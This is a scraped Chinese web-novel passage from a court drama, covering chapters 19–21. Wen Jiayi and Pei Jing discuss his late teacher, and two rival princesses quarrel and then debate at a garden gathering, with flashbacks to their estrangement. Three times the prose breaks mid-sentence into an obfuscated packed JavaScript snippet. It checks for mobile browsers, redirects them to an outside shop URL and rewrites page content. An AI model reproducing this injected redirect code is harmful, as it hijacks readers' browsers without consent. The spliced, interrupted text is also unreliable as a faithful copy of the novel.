这道熟悉的声音将他唤回现实,裴璟从她的肩上直起身,飘散的意识逐渐回笼,如大梦初醒般松开了她的手。 他骤然怔在原地,呼吸沉了几分,接着遮住眼眸中积压的一点沉寂郁色,哑声道:“抱歉。” 温嘉懿没说话,不知过了多久,他又垂下眼道:“我、我方才……” 檐下的几盏灯笼被风吹得猛地一晃,温嘉懿好整以暇地瞧着他面上那副闯了弥天大祸的懊悔神情,确定他没什么事才收回手。 她不置可否地笑了笑,弯腰将地上的信封捡起,裴璟反应过来后却快她一步,将东西主动递到她手里。 指尖相碰,她拆开信封,拿出与桌案上相同的拜帖,心道原主这便宜哥哥,还挺会见风使舵的。 知道她还活着,他没机会够上温家少主的位置,干脆立时三刻俯首称臣,有什么事都先问过她的意见。 就是方法太蠢。 西侧殿内,裴璟浓密微卷的眼睫轻颤,在眼下投出一小片浅影,他稍显不知所措地站在原地没动,温嘉懿淡淡看了他一眼,接着毫不留情揭穿道:“殿下,你方才将我认成了你的师父。” 她直言不讳惯了,向来不会对什么人拐弯抹角:“看起来,你很想念你的师父。” “……” “抱歉。”裴璟话音一顿,偏过去的眼眶微红:“我的确很想念她……方才对你多有冒犯,万望见谅。” 两封拜帖被她先后并排摆在桌案上,温嘉懿微微挑眉看向裴璟,准确捕捉到他眼尾那抹一闪而过的红痕,并没再说什么客套话。 看来提到这个人,他是真的很伤心。 遇到别人不可言说的伤心事,大部分人都会选择礼貌性的退避三舍。 她却像从心底打定了主意要了解他这位师父一般,细数着对方的丰功伟绩:“不过也难怪,先是教你不可争尖冒头,后又教你暗中培养势力重整裴家军,看来你这位师父不仅对朝中局势一清二楚,还很了解各大世家的利弊关系。” 温嘉懿神色一转,似笑非笑道:“看上去无所不能啊,史书国策俱通。” 她与裴璟投向自己的视线在空中交汇,空气里似有细小的火石噼啪炸开,像两簇璀璨星火在刹那间相碰,迸出刺眼灼人的光。 裴璟凝眸望了她片刻,出声反驳道:“她并不是无所不能,她也有很多想做但不能做的事,也有很多苦痛。” 这是他今日第二次反驳温嘉懿。 温嘉懿大约没想到他会用这么严重的词来形容,条件反射问了一句:“苦痛?” 裴璟静静点头,轻声道:“只是她从不向我说这些。” 闻言,她的动作微不可查一顿,倒是很能理解他这位师父的选择:“这很正常,既为人师表,自然要做好表率,不可将伤痕随意示于人前,那岂不叫人笑话。” “就像我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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但如果不把她逼到一定地步,她也不是看谁不顺眼就杀谁,这跟那些封建时代残暴的君主有何不同。 ……好像也有不严谨的地方。 第一次见裴璟,她的确不止一次动了真真切切的杀心。 当时她刚穿来大梁,又恰好遇上系统与管理局失联,种种意外接踵而至,她的心情实在算不上好。 偏这人还是个莫名其妙出现的未知攻略对象,简直是送上门的活靶子。 思绪缓缓倒转,温嘉懿说得很慢,想起这些尘封已久的往事,又不禁笑了笑,觉得这几日无病呻吟的次数实在太多,先是对红菱说那次晋升任务失败的经历,后又对裴璟说这些没用的话。 她尽量让自己的语调显得轻松一些:“不过这些微不足道的小事跟你的经历比起来,或者说跟那些受时代压迫的人比起来,好像不值一提,既然人人都把我当做可以拯救一切的救世主,并且我也……习惯了,那我就做救世主吧。” “裴璟私以为,苦痛是无法拿来一较高下的。” “我的苦痛是苦难,你的也是。” “外人看来的风光,或许不是真的,个中苦难,只有自己知晓。” 话音落下,温嘉懿忽然准确无误地望向他的眼,四目相对,裴璟的眼眸清澈透亮,莹莹烛光在他眸中徐徐燃烧,好似无穷无尽、无边无际,像点燃了一把来势汹涌的灭世之火,在她心间轰然烧灼。 这世界上谁的苦难不是苦难,谁的痛苦不是痛苦,难道苦难也要判三六九等,要有高低之分? 裴璟年幼丧亲的苦难是苦难,她因时空管理局的一句训诫而被困住千年的苦难就不是苦难? 因为她很强,所以就没有资格说自己很难吗?就没有资格叫苦喊累吗? 裴璟目不转睛地看着她,继续道:“那日我对你说,我朝律法标注男女平等,传官授职惩处论罪不宜异同,这些规则由高高在上的男子制定,是虚伪至极的一件事。” “我确实是在打抱不平,但我并不是真正了解女人的困境。” “我只是在说下位者的困境,而这里的下位者和失权者总归是女人罢了。” 与其说他了解这个时代的女性困境,不如说他把这个时代的女性真正当成了一个独立的个体。 这件事只要男子能做,女子便能做,只要女子能做,男子便能做。 “嘉懿。世界上没有真正的感同身受。” 很久后,温嘉懿才长舒了一口气。 窗外的风透过那道被箭矢射穿的缝隙,掠过檐下的灯笼,穿过明灭的烛火,卷起她青色的衣摆。 她应了裴璟的话:“嗯。” 但人终其一生要的,也不过是一种试图。 试图去了解,试图去感同身受。 想到有人曾愿意“试图”了解自己,“试图”感同身受自己,就已经是一件让人情不自禁想要掉眼泪的事了。 20.第二十章 六日后,芙蓉园。 午后雪霁,天朗气清,几束清透疏朗的光穿过层层枝桠,在青砖上洒下细碎的光斑。 虽值隆冬时节,曲江锦鲤池依旧泛着粼粼波光,清澈见底的池水环绕在亭台四周,与园内楼阁交相辉映。 几位世家贵女手拢暖炉,衣裳打扮鲜丽似春日含苞欲放的海棠,欢笑着在池边嬉闹,时不时朝长廊方向投去一眼。 “第一轮清谈议题马上就要公布了,怎么还不见她来?” “我听闻七公主犯下大错,这几日一直被陛下禁足于宫中,或许不得空前来吧。” 人群中,一位紫衣男子目光望向不远处园外停下的车驾,折扇一合,像是故意要说给谁听似的,悠悠道:“恐怕不仅仅是被陛下禁足这么简单吧,上元节那日,她从那种地方被人救回来,早就……” 他玩味一笑,言尽于此,未说出口的隐晦之意却昭然若揭:“幸而陛下仁慈,念其身份并未舍得狠心重责,只罚她跪在宫道上忏悔过失,结果你猜怎么着?她说她不知道自己错在哪儿,还说什么……” 青衣男子殷勤地为身旁之人沏了一壶热茶暖身,紧随其后接了他的话:“她说,她的清白和风骨等价。哈哈哈哈哈……这两厢有什么可比性吗?真是好一个值钱的风骨,好一个价值连城的清白。她知道什么是风骨吗?” “她这哪里是不敢来皇后娘娘办的清谈会啊,我看她是做出这等丑事,声名尽毁,以后再也不敢见人了。” 这些爱嚼舌根的男子多是京中有名的纨绔子弟,他们自小长在朱门高墙里,成日游手好闲花天酒地,脑子里没有民生吏治,更没有家国天下,祖上几辈世代都是朝廷官员,凭着祖荫庇护,无需像寒门学子那般十年苦读,只要混个清闲职位便能安稳一生。 众人骤闻此言旋即笑作一团。 其中一位白衣男子察言观色,见安坐在最中央衣着华丽的少女神色厌厌,并未反驳,接着放心地谄媚附和道:“我若是她,就一辈子躲在寝殿里不出宫苑大门,等年纪一到,赶紧在朝中随便找个中等人家安心待嫁,眼不见为净,也省得让陛下烦扰忧心。” “哈哈哈哈哈哈哈哈哈……正是这个道理啊。” 檐角铜铃轻响,清脆的铃声落进热闹的庭院,衬得满园热闹非凡。 长廊下讥讽嘲弄的欢声笑语连天,被簇拥包围在中央的少女抿了几口茶,却压不住眉间那抹挥之不去的郁色,神情似乎欲言又止,但最终碍于面子没有说话。 罗沁没听见这些蠢出生天的混账话,不然定是要去好好理论一番的。 她穿了件浅黄色的锦衣,衣领与袖口裹着一圈白狐绒毛,好像极为钟爱这种鲜亮明艳的颜色,视线左右环顾一圈,试图过去跟曲江锦鲤池边上的贵女们搭上几句话,结果都被她们以“罗大小姐这身衣服甚美若同我们站在一起定会艳冠群芳使我们黯然失色”为由头给挡了回去。 她叹了口气,坐回秋千架上,哪能听不出来对方的言外之意。 人家分明就是不想和她说话。 这也难怪,罗沁承认自己在外的名声实在一般,未入职前就常年往返流连于烟花柳巷之地,结识了许多不沾边的狐朋狗友,最近认为最志同道合的那位……嘉懿姑娘,却是很久没有她的消息了。 罗沁不仅是花楼常客,还时不时爱乔装打扮,拈花惹草一下别家的公子姑娘,只不过事后全然不负责任,任由对方骂她负心薄幸,现在虽一举登科有官职傍身,但在世人眼中到底还是个风流倜傥的浪荡子。 故而多次往返天音楼也无人怀疑她的真实目的。 毕竟她原来就喜欢干这个,回归老本行而已。 “……” “……” 藤条秋千晃动的幅度并不大,罗沁坐在上面心满意足地捏了一块蒸好的牛乳糕点塞进嘴里,余光瞧见有熟人往她这边来,兴奋地挥了挥手道:“明月,我在这呢。” 这一声并不小,廊下的几人也循声跟着看过来。 自从秦明月被皇帝下令禁足以后,两人已有将近半月未见,她似是中了风寒,掩唇轻咳了几声,神色淡然地从芙蓉园外缓步走来。 她们之间没有这么多虚礼,罗沁随即从秋千上起身,正打算叫住她聊点正事,秦明月却像没听见她说的话一般,径直越过她,往秦莞那边走去。 山雨欲来风满楼。 周遭霎时间静了几分,气氛骤然凝结成了一块终年难化的冰,回廊下,秦莞见她朝自己的方向走来,下意识抬手抚上她发髻中斜簪的几支步摇,暗自忖度自己今日这身打扮是否衬得她足够大方端庄,让旁人看了会不会觉得不得体? “……” 反应过来后秦莞气恼地松开手,高傲地转头毫不怯懦和她对视,她做什么要自降身价让秦明月看得舒心?她也配? 秦明月没注意到她这位五姐百转千回的小心思,她走到秦莞身前,话音顿了顿道:“五姐若有什么不满的话,不妨直说,何必在背地里搬弄是非,让大家难堪。” 朗星低眉敛目地站在她身后,眸光却时刻警惕着有谁会对自家主人不利。 秦明月抬手拢紧狐裘,她掀起眼皮扫过围绕在秦莞身边的这一圈人,轻声开口道:“我一向敬佩五姐直来直往,有什么便说什么的性格,不想五姐竟也喜欢将女子的清白名声拿来当做茶余饭后的谈资,倒是我错看五姐了。” 这句话像是在不经意间触碰到了秦莞的什么逆鳞,闻言,她一双秀眉蹙得更深,胸腔里憋了半晌的火气“噌”地窜了起来,却连半句为自己辩解的话都没说,登时站起身伸手指着她,张口骂道:“秦明月!你是吃熊心豹子胆了敢对我说这种话,还是说这几日父皇让你在宫里静思己过,思得你已经忘记自己什么身份什么地位了?平日里我教你的规矩都忘到九霄云外去了是吧,胆敢对我蹬鼻子上脸。” 罗沁闻言缓缓走到秦明月身边表面自己的立场,她不好驳斥当朝皇后嫡出的女儿,只能牵住她的手腕,默默将她挡在自己身后。 这副场景落在秦莞眼中尤为刺眼,她的脸色瞬间沉得能滴出水来,连周身的气息都变冷了几分,仿佛当年也是如此,她哭着向皇兄诉苦,指尖攥得发白,指节因用力而颤抖,似乎很久没有动过这么大的气。 秦明月冷漠地看着她一度气得发狂,合理怀疑若是秦莞现在手头有一条鞭子,定会拿出来狠狠抽自己两下解气。 廊下其他人眼观鼻鼻观心,他们原本想卖个人情替五公主说话,保不齐哪句话说对了就能讨得她欢心,将来会为自己在官场上美言几句,毕竟这两个人比起来,明眼人都会选择站边秦莞。 七公主一向谨小慎微,做人做事总是畏首畏尾,而秦莞是皇后嫡出的公主,将来无论谁继位,总归有百年不衰的谢家做后盾,有皇后娘娘担保,未来的路一定风光无限惹人钦羡。 “你以为你是谁?你算什么东西?你身上流着一半胡人低贱的血,生母位份低微,居然也配和我谈经论道,也配跟我讲道理?也配做我的妹妹?也配得到我的好脸色?像你这种不识好歹的人,你凭什么?” 秦莞被她气得口不择言,一连说了四个也配,好像终于趁机抓住了秦明月没来得及藏好的小辫子,她挺直脊背,神色得意又轻蔑地笑了一声,姿态端得十分嚣张跋扈,像一只优越感十足的开屏花孔雀。 “低贱之人就是低贱之人,无论费尽心思爬到哪里,使尽浑身解数做出什么傲人惹眼的成绩,都改变不了你卑贱如泥的出身,改变不了你的落败思想。” 罗沁本来听着这些污言秽语,心底的火一个劲往外冒,直到那些谈经论道之类的话又没完没了地从秦莞口中说出,她就知道秦莞又在犯她的疯病。 秦明月面容沉静,无波无澜,神色丝毫未变,她当着秦莞的面回握住罗沁的手,是一个十指紧扣的亲密姿势,甚至全然当做没听见这些难听咒骂的话,只当秦莞是个不存在的透明人。 她转身对紫衣男子道:“何公子,你我往日无冤近日无仇,不知为何要如此出言诋毁他人名声,即便何公子少见多怪不知天下还有礼义廉耻,难道也不知流言纷扰,人言可畏?” “圣人曾有言,多舌必招祸,从今往后还望公子慎言,以免将来死无葬身之地,连累全族性命。” 何元初瞪大眼睛:“什么圣人?” “我。” “……你!” 冷冷撂下这一个字,秦明月拉着罗沁转身便走,两人与秦莞擦肩而过,颜色鲜亮的衣袂随动作交叠,掀起一阵若有若无的风,拂动秦莞垂在肩颈上乌黑浓密的发丝,也吹动她发髻上雍容华贵的步摇,珠翠相撞的轻响在这一片寂静里格外清晰。 走出几步,罗沁不知为何,忽然有所预感地回头看了她一眼。 秦莞的视线正锐利地、带有极强的目的性看向她,她的目光没有追随着秦明月离去的身影,而是始终长久地落在两人交握的手上,方才的嚣张气焰荡然无存,眼底只余下一种说不清的晦暗滞涩。 那是一种什么样的感觉? 罗沁觉得,好像这一刻应该牵着秦明月手的人不该是自己,而是她。 她们携手走远后,何元初才敢发作,他将一直握在手中的折扇随手一丢,状似委屈地开口告状道:“这七殿下真是欺人太甚!我不过是说了两句实话,她就这样出口伤人。她被抓进那种地方,自然… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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闻言,罗沁像是想起什么,替她暖手的动作微不可查地一顿:“其实……五公主从头到尾都没有应和他们的话,没有在背地里说那些话。” 出乎意料的,秦明月竟然垂下眼笑了笑。 她唇边的笑容转瞬即逝,只片刻便消失不见:“我知道。” 罗沁眸中难掩讶异之色,话还卡在喉咙里没说完:“你……” 话音未落,一道声音打断了她。 来者嘴角挂着得体从容的笑,戴着一副银色面具,开口时却并未唤她罗大小姐,而是喊出了她的官职。 “罗少卿,我家小姐邀您一叙。” 方才他们在廊下吵架的间隙,清谈会第一轮议题已经公布。 皇后亲自做主考官,园中的世家大族的公子贵女都已纷纷寻席入座,喧嚣散去,一时间寂静万分。 四下里除了秦明月和自己再无旁人,罗沁闻声回头,确认她是在叫自己,疑惑道:“你家小姐?” 朗星扶着秦明月站起身,见来者只找罗沁一人,她便点头道:“那我先入席了。” 罗沁冲她颔首:“你小心点,别再和他们正面起冲突。” 秦明月离开后,她转而看向那人,试探性地询问道:“这位姑娘有些眼生,不知该如何称呼?” “在下素箩。” 素箩笑了笑,走近俯身轻声道:“罗少卿莫要担心,我家小姐乃当今温家少主。” 罗沁一愣。 是那个从小教养在相宁寺内的温家少主温瑾? 她与温家少主仅在地下赌场中有过一面之缘,要说有什么过命的交情更是无稽之谈。 当时她忙着顾秦明月的安危,完全没想到温家少主也被掌事人抓了进来,还是见到带着令牌赶来的温府侍卫才知晓此事。 罗沁只记得那位少主看上去貌似十分沉默寡言,从始至终一直低着头以侧脸示人,她甚至连对方长什么样都没看清。 事后她虽觉得有些蹊跷,但碍于兄长将文书递上后大理寺那边催得紧,她忙着与大理寺卿周旋,便没有时间再去思考那么多。 没想到,今天正主主动找上门来了。 素箩似乎看出她的踌躇不定,将藏在袖中的信递给她,温声道:“我家小姐说,她邀您相见,您必然多有顾虑,所以托我将这封信转交给您,代表她的诚意。” 诚意? 罗沁犹疑地拆开那封信,发现上面只写了八个字。 ——为千万人,出生入死。 第一卷·爱别离完。 21.第二十一章 曲水流觞环绕着亭台楼阁,芙蓉园中红梅开得正盛,在寒风里透出一股清冽的冷香。 高台之上,秦砚景和秦莞分别端坐在谢宁身侧,京中的世家大族往下依次排列,衣袂相叠间,尊卑秩序一目了然。 大梁朝的清谈会依旧还是谈玄论道的清谈会,只是各氏族之间阶级分明了许多,除去原本的三大世家以外,这些年裴家式微,那些不算特别有头脸的世族在其中并没有出风头的机会,多数人是想以此机会结识别家公子贵女。 素箩眼帘轻垂,举止妥帖地伴在温子瑜身边侍奉酒水,这个位置临近裴家的席位,她趁倒酒的间隙俯身与他窃声耳语。 温子瑜闻言微微偏过头扫去一眼,发现裴家的席位上还是空无一人,那位一直对外宣称自己体弱多病的裴世子似乎并未到场。 在场之人不光是裴家,连谢家的席位也还空着。 过了片刻,他像是想起什么,神色惴惴不安地拽住衣摆一角:“我没做什么伤天害理的事,郁霖不会趁机杀了我吧?” 素箩温声安抚道:“不会的。” 温子瑜放心地松了口气。 清泉在青石间蜿蜒,席上流水声潺潺。 秦莞率先起身,身侧的侍女连忙上前为她提起宽大的裙摆和披风,她缓步走到谢宁身前站定,眉眼间漾着浅淡笑意道:“母后,这第一轮议题,不如就由儿臣来打头阵,让儿臣先来辩一辩?” 女官跪坐在一旁记录着,谢宁笑了笑,抬手将秦莞鬓侧的几缕发丝拢至耳后,看向她柔声道:“正好,我也想考校考校你的学问近来有没有长进,又岂有不应之理?” 第一轮定下的议题是才性四本。 这已经是老生常谈的辩论议题,通常代指关于“才”与“性”关系的四种不同观点。 即才性同、才性异、才性合、才性离。 得到允准,秦莞回到自己的位置上,她慢悠悠地饮了口茶,掀起眼皮看向秦明月,不紧不慢地抬手一指点了她:“才性四本,不知七妹可愿与我一辩这个议题?” 话音落地,台下众人随即各怀鬼胎地互看几眼。 这两位殿下积怨已深早就不是什么不为人知的秘密,两人对彼此恨之入骨,方才还在园中起了不小的冲突,闹得人尽皆知。 这般情景下,秦莞点名要和她辩论,看来是存心要让对方难堪。 闻声,秦明月神情轻轻一怔。 旁人不知道,这或许是十几年以来,秦莞对她说话最和缓、态度最和煦的一次,她不由自主地攥紧了冰凉的指节,露出一截纤细的腕骨,抬眼看向秦莞。 灼热的目光在刹那间猝不及防交接,秦明月未曾料到对方也在高处不偏不倚地看她,一贯淡然自若的脸色微变。 她强行移开视线,知道自己入席的时间不久,此番算是在劫难逃,只得站起身道:“五姐实在过谦,明月自知才疏学浅,更遑论指教二字。” 秦莞见她这副面色苍白的模样,反而意味深长地笑了笑:“七妹向来天资聪颖,有此一言,才是过谦。” 两人之间没有你来我往的针锋相对,反而客客气气地说起场面话,更是让台下人深觉十分诡异,秦砚景放下杯盏,眼神微冷,侧目看了秦莞一眼,后者却像没看见似的置若罔闻。 “既如此,那便由我来起头吧。”秦明月话音顿了顿,表明自己的立场和观点:“明月以为,才性当一体同源,不可分割离析。人的本性善恶与道德修养决定其才情才能,换而言之,有其心性者,一定境况下也必有其才,二者本质相同,相互驱动,又互相体现。” “古往今来,无论何时何地,做人做事应当德才相济,为家国鞠躬尽瘁,为天下死而后已。人之本性数以千万计,或为利欲所惑、失其本心,或沉湎酒色、醉生梦死。唯贤者能守其本心不移,于纷扰中自持本真,方可堪当大任。故其性成就其才,是为才性同也。” 她对这个议题的叙述并不难懂,首先抛出才性一体的中心观点,接着由此对外衍生,人拥有的本性有很多,包括善恶辞让、恻隐悲悯之心。 有些人宦海沉浮失去了本心,而有些人则不慕容利,依旧静守己心,这一部分德才相济的人被称作贤者,最终也都做了与其本性相符的事,为天下计,为生民计。 此言却正中秦莞下怀,她哼笑一声,抓住漏洞反驳道:“七妹所言甚是,只是不知在你的定义中,究竟什么样品格的人才有资格称之为贤者?你又应该用何种方法确定所谓的贤者心性是真心还是假意?” “才性之间有何必然联系吗?世人多擅伪装,才情心性此等虚浮难论之事,自是不如明面上施展出的才华能力一目了然,且这世上才性不相匹之人十有八九,若仅以才性需相济而武断定论何为贤者,是否有失偏颇?” “那么我也有一事,想请教五姐。”秦莞没有直接阐述自己的观点,秦明月却知道她想说什么,唇边勾起一抹极淡的笑容:“若依五姐所言,才性不应混为一谈,应分离来看,那么将军征战沙场得胜归来,是为有才,有才者是否该依制受万民敬仰?” 秦莞不假思索:“这是自然。” 这段话在议题中貌似显得有些突兀,席间原本热烈的讨论声静了几分,皇后垂落的眸光中忽然掠过一丝森然的冷冽,握住杯盏的手微不可查地顿在原地。 只一瞬间,她便不动声色地恢复了先前的模样,指腹摩挲着杯沿,与身边人从容举杯。 秦明月却面不改色道:“有才,且无需经过心性的考验,便可有机会受万民敬仰。五姐可知,一将功成万骨枯,倘若将军只是为了功名利禄,为一己私欲而不顾手下将士死活,又该如何?” 秦莞微微蹙眉道:“将军为安定家国流血拼命,既如此,又岂能在乎其麾下贩夫走卒的死活,即便他们是为功名利禄本心不纯,可到底为后方之人冲锋陷阵。功绩与本心就像鱼与熊掌不可兼得,但君子论迹,从不论心。” 她终于一脚踩进她设好的陷阱,秦明月垂下眼笑了笑,仿佛那位不顾手下将士死活的将军只是她随口一提的例子:“方才五姐说,君子论迹不论心。明月斗胆问一句,若贤者的心性只是伪装出来的表象,那么伪装一辈子,是否也就成了真正的贤者?” 她的话如同惊雷般掷地有声:“君子有三乐,而王天下不与存焉。别人所思所想我无从置喙,难以改变,但我偏要仰不愧于天,也要俯不怍于人,倘若二者不可得兼,我也偏要勉强。” 满座寂静,只余下一片沉寂,秦莞没有出声,秦明月抬眸望向她,像是终于想起什么似的,缓缓开口:“五姐方才问我,什么样的人才算贤者。” 她眸光定定地注视她,一字一句道:“一箪食,一瓢饮,在陋巷,人不堪其忧,回也不改其乐。” “这样品格的人,便是我心中的贤者。” 接下来是漫长的沉默,半晌过后,秦莞意味不明地笑了一声,最终侧身朝谢宁的方向行了一礼:“七妹大获全胜,儿臣输了,心服口服。” 她今日穿了一身嫣红的锦袍,像裹着雪的红梅般张扬耀眼,在清透的雪光下泛出细腻的光泽:“能与七妹畅谈一番,是我之幸。” “五姐实在过谦,明月亦受益良多。” “七妹不必妄自菲薄,在我心中,你就是最好的。” 闻言,秦明月唇角近乎无懈可击的笑容骤然僵住。 “……” “……” 席上重新恢复喧闹,有皇后坐镇,谁都要给她面子,众人暗自腹诽这两个水火不容的人又开始说起场面话,紧接着满脸堆笑地冲她们拱手作揖,大部分人阿谀奉承秦莞小小年纪便见解独到有此犀利言论,小部分人道贺七殿下抱负深远又赢下此局。 她真的赢了吗?可辩论哪有输赢之分。 秦莞那句话音落地后,秦明月拢在袖中的手指抑制不住地轻颤,无数破碎断续的画面在她脑海中交替浮现。 “……” “这是膳房新做的糕点,你快尝尝。” 逼仄狭窄的过道中,秦莞毫不在意地侧身挤过,蹭了满脸的灰,蹲在她身前,一双乌黑圆亮的眼睛看着她,期待道:“怎么样?好吃吗?” “好吃……我还从来没吃过这么好吃的糕点!” “好吃我下次还给你带。” “……” “姐姐,‘一箪食,一瓢饮,在陋巷,人不堪其忧,回也不改其乐’是什么意思?” “我看看。”秦莞捧着书凑过来,沉吟片刻道:“意思是说,即便只有一小筐饭、一小瓢水,居住在简陋小巷,别人都难以忍受这种贫苦忧愁,颜回却始终不改变他对道的追求与内心的快乐。” 庭院潮湿阴冷,狼藉萧瑟,房檐上的几块瓦片破旧不堪,秦莞环顾四周,说完不禁笑起来:“就像你一样,斯是陋室,惟吾德馨。” “姐姐你取笑我,我怎么配和书上的圣人比。” 秦莞眸色认真道:“在我心中,你就是最好的。” “……” 曾经并肩走过的路如同日久方可见效的毒药,在某个不起眼的瞬间侵蚀进她的骨髓,以至于她经常会做一些光怪陆离的梦。 只是好景不长,秦明月这样想。 命运早在相遇的那一刻,就注定了结局走向,注定不得善终。 “妹妹!” “我要告诉你一个天大的好消息。” 宫道上,秦莞几乎是踉跄着朝她奔来,走到她身前时带起了一阵风,眼角眉梢都含着温柔的笑。 不远处,秦明月一言未发,只是眼神淡淡地看着她。 见她面色冷淡,秦莞也不恼,她牵过秦明月冰凉的手握在手心里,与她姿势亲密地十指紧扣,将自己知道的消息尽数告知:“我今日听说,定远侯的独子……你还记得定远侯是谁吗?就是皖鸿将军,当年他战死,父皇许了他的孩子裴璟三个愿望。” “裴璟说,恳请父皇奏准,让治国之道加入女子课程,我们从今往后也能学习治国之道了。” 秦莞掩饰不住脸上的喜悦之色,她眉飞色舞地憧憬着往后的日子:“父皇答应了!以后我们不必再藏着掖着偷书阁中的那些旧典籍看了。” “可以光明正大的谈经论道,可以尽情讨论从前只有他们男子才能探讨的家国大义,可以……” 她抬眼兴高采烈地看向秦明月,话音骤然止住,才发现她看向自己的眸色是冷的,没有一丝一毫的温度。 秦明月面无表情地甩开她的手:“我为什么要跟你谈经论道?” “至于家国大义……”她似是讽刺地笑了一声,嘲弄道:“你懂什么叫家国大义吗?” “秦莞,你以为自己很聪明吗?以为自己拥有高贵显赫的出身和地位,就可以对我颐指气使了吗?” “你是不是以为自己很伟大?觉得自己在拯救我?” 秦明月的话犹如一把锋利尖锐的刀,精准无误地戳入人柔软的内心,找到最为敏感脆弱的点后按下刀柄,捅得皮开肉绽,鲜血淋漓。 而她却浑然不觉,站在一片狼藉中神色漠然道:“秦莞,你的课业、女红、诗文,有哪一样比我优秀?凭什么人人面前都是你占尽风头,我究竟哪里不如你?” “……” “……” 这一刻秦莞恍然发现,她的妹妹一直以来竟然是这样想自己的。 她没有经历过姐妹反目成仇,也从来没想过有朝一日会和秦明月走到这一步,整个人顿时不知所措地愣在原地,半响都没有出声。 那些刺伤她的声音如同挥之不去的梦魇一般萦绕在耳畔,无休止地嗡嗡作响,连一呼一吸间都带着难言的钝痛。 然而这些都不是最重要的。 最可悲的是,这些诛人心志的话与母后平日里耳提面命教训她的话字字重叠,让她久违地再次尝到一种喘不过气的窒息感。 母后会在无人处斥责她为什么不如秦明月聪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16583303|184068||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 颖,会责骂她为什么不将课业做到最好,会失望地看着她和哥哥叹气。 偶尔一些时刻,母后也会认识到自己的错误,于是将她抱到膝头不住口地忏悔道:“母后没有办法,母后也不想这样。但你和哥哥身上担负着谢氏一族的重任……母后没办法逃出这吃人的牢笼,只能将所有的指望放在你们身上……不要怨母后。” 年幼的秦莞囫囵吞下这些藏在回忆里不能言说的伤痛,逐渐回过神,她微微哽咽着,喉头发紧,让她难以发出任何声音。 可秦莞反应过来后,第一时间涌上她心头的,不是彻骨的恨,不是被误解的委屈,而是一种名为心疼的情绪。 那时她还不知道这种涨到人心头发疼的情绪是什么,甚至不知道应该怎么提笔在纸上书写,但她知道她的妹妹生来便如此聪慧,如此出类拔萃,却因为身份有别不受父皇的爱护和重视。 如果……如果她才是母后的孩子……那大家应该都会满意了吧,她临风窗下读书写字的模样这样美丽、这样优秀。世道何其不公,她应该怨恨,她有这个资格的。 秦莞咬紧牙关,忍住眼眶中早已蓄满的泪水,试图再次拉住秦明月的手求和:“不是这样的妹妹,你误会我了,我从来没有对你颐指气使,我……” 秦明月却毫不留情地一把甩开她,状似不耐烦地打断她的话,冷冷道:“够了,你没演够,我也陪你演够了。” 这一下使得力气很大,秦莞的身体几乎是不受控地往后退了几步,她神情愣愣地,近乎是有些不可置信地反问:“……演?” 她没能看到秦明月悄悄向她伸出却又强迫自己收回的手,于是错失了唯一可以质问她说这一切的良机:“秦明月,你是觉得……我对你的好,都是在演戏吗?” 片刻后,秦明月轻轻抬眸,用一种极为挑剔的目光上下打量了秦莞一番,接着无不嘲讽道:“不然呢?你以为我不知道你对我的好都是施舍和同情吗?我需要你的施舍吗?” “你的施舍和同情,于我而言实在太过廉价了,只不过从前我认为,你身上还有值得让我利用的地方,便忍着恶心与你虚与委蛇,但现在我觉得你就是个彻头彻尾的废物,所以我什么都不想要了。” “……” 从那以后,她和秦莞就此决裂,仿佛从前那些拥抱握手的温情瞬间都不复存在,漏雨透风的屋檐下再也没有姐姐托人偷偷送来的被褥和衣裳,寒冷彻骨的宫殿中再也没有姐姐会拿着最新的话本温声细语给她讲故事。 其实,只是再也没有姐姐。 在这纷乱世间最留不住的,是镜中一去不复返的年少时光和满树飘零的落花。 物是人非,当时只道是寻常。 秦莞的性格逐渐变得骄纵跋扈,变得暴戾恣睢,逢人便说她与秦明月不睦已久,她们从生下来那一刻起便注定是你死我活的敌人,只要她秦莞存在一日,就不会让秦明月好过。 于是宫中其他人也渐渐开始趋炎附势,让秦明月本就步履维艰的生活变得更加困苦。 承平十一年,秦莞罚她在宫道上下跪。 是日大雪。 那时的秦莞同现在一样,无论走到哪里身边总会有数不清的人,乌泱泱地将她簇拥包围起来,她的尊贵出身摆在那里,其他世家的贵女公子知道她厌恶秦明月,瞧见她跪在宫道上受罚,幸灾乐祸地过去嘲讽道:“哟,这不是七殿下吗?” “怎么像条哈巴狗一样的跪在这儿?”那人说完,围着她走了一圈,又窃笑起来:“殿下瞧我这记性,我忘了,哈巴狗也有自己的主人,若摇尾乞怜,也能吃上一口残羹剩饭,比如今的七殿下要强上许多呢。” “一个胡人的孩子,却还要我们尊称一句殿下,已经是够给你脸面了,别怪我们没提醒你,若再不识抬举招惹五公主,你和你那卑贱出身的母妃,便都会死无葬身之地。” 他们讥讽过后纷纷散去,不久后有脚步声不疾不徐地响起,这次来人走得很慢,大约过了半柱香的时间,那道高挑纤长的身影才笼罩在她身前。 秦莞依旧冷着眉眼,她看着秦明月,捏紧了身侧的衣角,高高在上道:“秦明月,我现在命令你向我道歉,告诉我你之前说的那些话是假的,其实不是出自你本心,然后我就大发慈悲原谅你。” 